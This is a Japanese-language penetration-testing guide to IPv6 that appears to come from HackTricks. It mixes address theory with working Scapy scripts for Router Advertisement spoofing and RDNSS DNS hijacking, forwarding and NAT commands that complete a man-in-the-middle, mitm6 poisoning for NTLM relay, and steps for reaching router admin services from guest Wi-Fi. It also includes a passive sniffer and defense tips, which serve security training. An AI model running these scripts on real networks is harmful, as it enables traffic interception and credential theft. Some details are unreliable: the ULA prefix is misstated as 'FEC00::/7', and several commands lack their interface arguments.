# Pentesting IPv6 {{#include ../../banners/hacktricks-training.md}} ## IPv6 基本理論 ### ネットワーク IPv6 アドレスは、ネットワークの組織化とデバイスの相互作用を強化するように構造化されています。IPv6 アドレスは次のように分かれています: 1. **ネットワークプレフィックス**:最初の 48 ビットで、ネットワークセグメントを決定します。 2. **サブネット ID**:次の 16 ビットで、ネットワーク内の特定のサブネットを定義するために使用されます。 3. **インターフェース識別子**:最後の 64 ビットで、サブネット内のデバイスを一意に識別します。 IPv6 は IPv4 に見られる ARP プロトコルを省略していますが、2 つの主要なメッセージを持つ **ICMPv6** を導入しています: - **隣接要求 (NS)**:アドレス解決のためのマルチキャストメッセージ。 - **隣接広告 (NA)**:NS へのユニキャスト応答または自発的な通知。 IPv6 には特別なアドレスタイプも含まれています: - **ループバックアドレス (`::1`)**:IPv4 の `127.0.0.1` に相当し、ホスト内の内部通信に使用されます。 - **リンクローカルアドレス (`FE80::/10`)**:ローカルネットワーク活動のためのもので、インターネットルーティングには使用されません。同じローカルネットワーク上のデバイスは、この範囲を使用して互いに発見できます。 ### ネットワークコマンドにおける IPv6 の実用的な使用法 IPv6 ネットワークと対話するために、さまざまなコマンドを使用できます: - **リンクローカルアドレスの Ping**:`ping6` を使用してローカルデバイスの存在を確認します。 - **隣接発見**:`ip neigh` を使用してリンク層で発見されたデバイスを表示します。 - **alive6**:同じネットワーク上のデバイスを発見するための代替ツールです。 以下はコマンドの例です: ```bash ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1 ip neigh | grep ^fe80 # Alternatively, use alive6 for neighbor discovery alive6 eth0 ``` IPv6アドレスは、ローカル通信のためにデバイスのMACアドレスから導出できます。以下は、既知のMACアドレスからリンクローカルIPv6アドレスを導出するための簡略ガイドと、IPv6アドレスの種類およびネットワーク内のIPv6アドレスを発見する方法の簡単な概要です。 ### **MACアドレスからリンクローカルIPv6を導出する** MACアドレス **`12:34:56:78:9a:bc`** が与えられた場合、リンクローカルIPv6アドレスは次のように構築できます。 1. MACをIPv6形式に変換: **`1234:5678:9abc`** 2. `fe80::`を前に付け、中間に`fffe`を挿入: **`fe80::1234:56ff:fe78:9abc`** 3. 左から7ビットを反転させ、`1234`を`1034`に変更: **`fe80::1034:56ff:fe78:9abc`** ### **IPv6アドレスの種類** - **ユニークローカルアドレス (ULA)**: ローカル通信用で、公共インターネットのルーティングには使用されません。プレフィックス: **`FEC00::/7`** - **マルチキャストアドレス**: 1対多の通信用。マルチキャストグループ内のすべてのインターフェースに配信されます。プレフィックス: **`FF00::/8`** - **エニキャストアドレス**: 1対最寄りの通信用。ルーティングプロトコルに従って最も近いインターフェースに送信されます。**`2000::/3`**のグローバルユニキャスト範囲の一部です。 ### **アドレスプレフィックス** - **fe80::/10**: リンクローカルアドレス(169.254.x.xに似ています) - **fc00::/7**: ユニークローカルユニキャスト(プライベートIPv4範囲の10.x.x.x、172.16.x.x、192.168.x.xに似ています) - **2000::/3**: グローバルユニキャスト - **ff02::1**: マルチキャストすべてのノード - **ff02::2**: マルチキャストルーターノード ### **ネットワーク内のIPv6アドレスを発見する方法** #### 方法1: リンクローカルアドレスを使用 1. ネットワーク内のデバイスのMACアドレスを取得します。 2. MACアドレスからリンクローカルIPv6アドレスを導出します。 #### 方法2: マルチキャストを使用 1. マルチキャストアドレス `ff02::1` にpingを送信して、ローカルネットワーク上のIPv6アドレスを発見します。 ```bash service ufw stop # Stop the firewall ping6 -I ff02::1 # Send a ping to multicast address ip -6 neigh # Display the neighbor table ``` ### IPv6 Man-in-the-Middle (MitM) 攻撃 IPv6 ネットワークで MitM 攻撃を実行するためのいくつかの技術が存在します。例えば: - ICMPv6 隣接またはルーター広告のスプーフィング。 - ICMPv6 リダイレクトまたは「パケットが大きすぎます」メッセージを使用してルーティングを操作する。 - モバイル IPv6 を攻撃する(通常、IPSec を無効にする必要があります)。 - 悪意のある DHCPv6 サーバーを設定する。 ## eild における IPv6 アドレスの特定 ### サブドメインの探索 IPv6 アドレスに関連する可能性のあるサブドメインを見つける方法は、検索エンジンを活用することです。例えば、`ipv6.*` のようなクエリパターンを使用することが効果的です。具体的には、次の検索コマンドを Google で使用できます: ```bash site:ipv6./ ``` ### DNSクエリの利用 IPv6アドレスを特定するために、特定のDNSレコードタイプをクエリできます: - **AXFR**: 完全なゾーン転送をリクエストし、広範囲のDNSレコードを明らかにする可能性があります。 - **AAAA**: IPv6アドレスを直接探します。 - **ANY**: 利用可能なすべてのDNSレコードを返す広範なクエリです。 ### Ping6によるプロービング 組織に関連するIPv6アドレスを特定した後、`ping6`ユーティリティを使用してプロービングできます。このツールは、特定されたIPv6アドレスの応答性を評価するのに役立ち、隣接するIPv6デバイスを発見するのにも役立つかもしれません。 ## IPv6ローカルネットワーク攻撃技術 以下のセクションでは、**同じ/64セグメント内**で実行できる実用的なレイヤー2のIPv6攻撃について説明します。以下に示すすべてのパケットは**リンクローカル**であり、ローカルスイッチを通じてのみ移動するため、ほとんどの環境で非常にステルス性があります。 ### 安定したラボのためのシステム調整 IPv6トラフィックで遊ぶ前に、自分のテストによって毒されないようにボックスを強化し、大量のパケット注入/スニッフィング中に最高のパフォーマンスを得ることをお勧めします。 ```bash # Enable promiscuous mode to capture all frames sudo ip link set dev eth0 promisc on # Ignore rogue Router Advertisements & Redirects coming from the segment sudo sysctl -w net.ipv6.conf.all.accept_ra=0 sudo sysctl -w net.ipv6.conf.all.accept_redirects=0 # Increase fd / backlog limits when generating lots of traffic sudo sysctl -w fs.file-max=100000 sudo sysctl -w net.core.somaxconn=65535 sudo sysctl -w net.ipv4.tcp_tw_reuse=1 ``` ### パッシブNDPおよびDHCPv6スニッフィング すべてのIPv6ホストは**自動的に複数のマルチキャストグループ**(`ff02::1`、`ff02::2`、…)に参加し、SLAAC/NDPのためにICMPv6を使用するため、パケットを1つも送信せずに全体のセグメントをマッピングできます。次のPython/Scapyのワンライナーは、最も興味深いL2メッセージをリッスンし、誰が誰であるかの色付きのタイムスタンプ付きログを出力します: ```python #!/usr/bin/env python3 from scapy.all import * from scapy.layers.dhcp6 import * from datetime import datetime from colorama import Fore, Style, init import argparse init(autoreset=True) # Human-readable names for protocols we care about DHCP6_TYPES = { DHCP6_Solicit: 'Solicit', DHCP6_Advertise: 'Advertise', DHCP6_Request: 'Request', DHCP6_Reply: 'Reply', DHCP6_Renew: 'Renew', DHCP6_Rebind: 'Rebind', DHCP6_RelayForward:'Relay-Forward', DHCP6_RelayReply: 'Relay-Reply' } ICMP6_TYPES = { ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN), ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN), ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE), ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA), ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX), ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX), ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX), ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX), ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX), ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX) } def handler(pkt): eth_src = pkt[Ether].src if Ether in pkt else '?' eth_dst = pkt[Ether].dst if Ether in pkt else '?' ip6_src = pkt[IPv6].src if IPv6 in pkt else '?' ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?' # Identify protocol family first for proto,(desc,color) in ICMP6_TYPES.items(): if proto in pkt: break else: if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port for dhcp_t,name in DHCP6_TYPES.items(): if dhcp_t in pkt: desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break else: return # not a DHCPv6 message we track else: return # not interesting print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}") print(f" MAC {eth_src} -> {eth_dst}") print(f" IPv6 {ip6_src} -> {ip6_dst}") print('-'*60) if __name__ == '__main__': argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer') argp.add_argument('-i','--interface',required=True,help='Interface to sniff') argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)') a = argp.parse_args() sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0) ``` 結果: 数秒以内に完全な **link-local topology** (MAC ⇄ IPv6) を構築し、アクティブスキャンに依存するIPS/IDSシステムをトリガーすることなく行います。 ### ルーター広告 (RA) スプーフィング IPv6ホストはデフォルトゲートウェイの発見のために **ICMPv6 Router Advertisements** に依存しています。 正当なルーターよりも **頻繁に** 偽のRAを注入すると、デバイスは静かにあなたをゲートウェイとして切り替えます。 ```python #!/usr/bin/env python3 from scapy.all import * import argparse p = argparse.ArgumentParser() p.add_argument('-i','--interface',required=True) p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)') p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef') p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime') p.add_argument('--interval',type=int,default=5,help='Seconds between RAs') p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack') args = p.parse_args() lifetime = 0 if args.revert else args.lifetime ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/ ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference ICMPv6NDOptSrcLLAddr(lladdr=args.mac)) send(ra,iface=args.interface,loop=1,inter=args.interval) ``` 実際に**トラフィックを転送する**ためには、レースに勝った後: ```bash sudo sysctl -w net.ipv6.conf.all.forwarding=1 sudo ip6tables -A FORWARD -i eth0 -j ACCEPT sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE ``` #### ルーター広告フラグ (M/O) とデフォルトルーターの優先度 (Prf) | フラグ | 意味 | クライアントの動作への影響 | |------|---------|----------------------------| | **M (管理アドレス構成)** | `1` に設定されている場合、ホストは **DHCPv6** を使用して IPv6 アドレスを取得しなければなりません。 | アドレス全体が DHCPv6 から取得されるため、*mitm6* スタイルのポイズニングに最適です。 | | **O (その他の構成)** | `1` に設定されている場合、ホストは **DHCPv6** を使用して *その他* の情報 (DNS, NTP, …) を取得する必要があります。 | アドレスは SLAAC 経由ですが、DNS は DHCPv6 でハイジャック可能です。 | | **M=0 / O=0** | 純粋な SLAAC ネットワーク。 | RA / RDNSS トリックのみが可能で、クライアントから DHCPv6 は送信されません。 | | **M=1 / O=1** | 混合環境。 | DHCPv6 と SLAAC の両方が使用され、スプーフィングの表面が最も大きくなります。 | ペンテスト中に、正当な RA を一度確認し、どのベクターが実行可能かを判断できます: ```bash sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements ``` ダンプ内の `flags [M,O]` フィールドを探してください – 推測は不要です。 RA ヘッダー内の **Prf** (ルーターの優先度) フィールドは、*複数の* ゲートウェイが存在する場合に、あなたの不正ルーターがどれだけ魅力的に見えるかを制御します: | Prf 値 | バイナリ | 意味 | |--------|---------|------| | **高** | `10` | クライアントはこのルーターを *中*/*低* のものより好みます | | 中 (デフォルト) | `01` | ほぼすべての正当なデバイスによって使用されます | | 低 | `00` | より良いルーターが存在しない場合にのみ選択されます | Scapy でパケットを生成する際には、上記のように `prf` パラメータを通じて設定できます (`prf=0x1` → 高)。 **高い Prf**、**短い間隔**、および **ゼロ以外のライフタイム** を組み合わせることで、あなたの不正ゲートウェイは非常に安定します。 --- ### RA を介した RDNSS (DNS) スプーフィング [RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) は、RA 内に **再帰的 DNS サーバー (RDNSS)** オプションを追加することを許可します。 現代の OS (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) は自動的にこれを信頼します: ```python #!/usr/bin/env python3 from scapy.all import * import argparse p = argparse.ArgumentParser() P = p.add_argument P('-i','--interface',required=True) P('--llip',required=True) P('--dns',required=True,help='Fake DNS IPv6') P('--lifetime',type=int,default=600) P('--interval',type=int,default=5) args = p.parse_args() ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/ ICMPv6ND_RA(routerlifetime=0)/ ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime)) send(ra,iface=args.interface,loop=1,inter=args.interval) ``` クライアントは、指定されたライフタイムの間、あなたのDNSをリゾルバリストの先頭に**追加**し、値が期限切れになるか、`lifetime=0`のリバートを送信するまで完全なDNSハイジャックを許可します。 ### DHCPv6 DNS スプーフィング (mitm6) SLAACの代わりに、WindowsネットワークはDNSのために**ステートレスDHCPv6**に依存することがよくあります。[mitm6](https://github.com/rofl0r/mitm6)は、`Solicit`メッセージに自動的に**Advertise → Reply**フローで応答し、**あなたのリンクローカルアドレスを300秒間DNSとして割り当てます**。これにより以下が可能になります: * NTLMリレー攻撃 (WPAD + DNSハイジャック) * ルーターに触れずに内部名前解決を傍受する 典型的な使用法: ```bash sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning ``` ### 防御 * **RAガード / DHCPv6ガード / NDインスペクション** を管理スイッチで使用。 * 正当なルーターのMACのみがRAを送信できるポートACL。 * **不安定な高レートのRA** や突然の **RDNSSの変更** を監視。 * エンドポイントでのIPv6の無効化は一時的な回避策であり、現代のサービスを破壊し、盲点を隠すことが多いため、代わりにL2フィルタリングを推奨。 ### ゲスト/パブリックSSIDでのNDPルーター発見と管理サービスの露出 多くの消費者ルーターは、すべてのインターフェースで管理デーモン(HTTP(S)、SSH/Telnet、TR-069など)を公開しています。一部の展開では、「ゲスト/パブリック」SSIDがWAN/コアにブリッジされ、IPv6専用です。ルーターのIPv6が毎回のブートで変更されても、NDP/ICMPv6を使用して確実に学習し、ゲストSSIDから管理プレーンに直接接続できます。 ゲスト/パブリックSSIDに接続されたクライアントからの典型的なワークフロー: 1) ICMPv6ルーターソリシテーションを使用して、すべてのルーターのマルチキャスト `ff02::2` にルーターを発見し、ルーターアドバタイズメント(RA)をキャプチャ: ```bash # Listen for Router Advertisements (ICMPv6 type 134) sudo tcpdump -vvv -i 'icmp6 and ip6[40]==134' # Provoke an RA by sending a Router Solicitation to ff02::2 python3 - <<'PY' from scapy.all import * send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='') PY ``` RAはルーターのリンクローカルおよびしばしばグローバルアドレス/プレフィックスを明らかにします。リンクローカルのみが知られている場合、接続はゾーンインデックスを指定する必要があることを忘れないでください。例:`ssh -6 admin@[fe80::1%wlan0]`。 代替:利用可能な場合はndisc6スイートを使用します: ```bash # rdisc6 sends RS and prints RAs in a friendly way rdisc6 ``` 2) ゲストSSIDからIPv6経由で公開されているサービスにアクセスする: ```bash # SSH/Telnet example (replace with discovered address) ssh -6 admin@[2001:db8:abcd::1] # Web UI over IPv6 curl -g -6 -k 'http://[2001:db8:abcd::1]/' # Fast IPv6 service sweep nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1] ``` 3) 管理シェルがラッパー(例:tcpdump)を介してパケットキャプチャツールを提供する場合、追加のtcpdumpフラグ(`-G/-W/-z`など)を渡すことを可能にする引数/ファイル名のインジェクションを確認し、ポストローテートコマンドの実行を達成します。参照してください: {{#ref}} ../../linux-hardening/privilege-escalation/wildcards-spare-tricks.md {{#endref}} 防御/メモ: - 管理をゲスト/パブリックブリッジにバインドしないでください;SSIDブリッジにIPv6ファイアウォールを適用します。 - 可能な場合、ゲストセグメントでNDP/RS/RAのレート制限とフィルタリングを行います。 - 到達可能でなければならないサービスについては、authN/MFAと強力なレート制限を強制します。 ## 参考文献 - [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/) - [mitm6](https://github.com/rofl0r/mitm6) - [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106) - [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html) - [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904) - [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/) - [FiberGateway GR241AG – Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/) {{#include ../../banners/hacktricks-training.md}}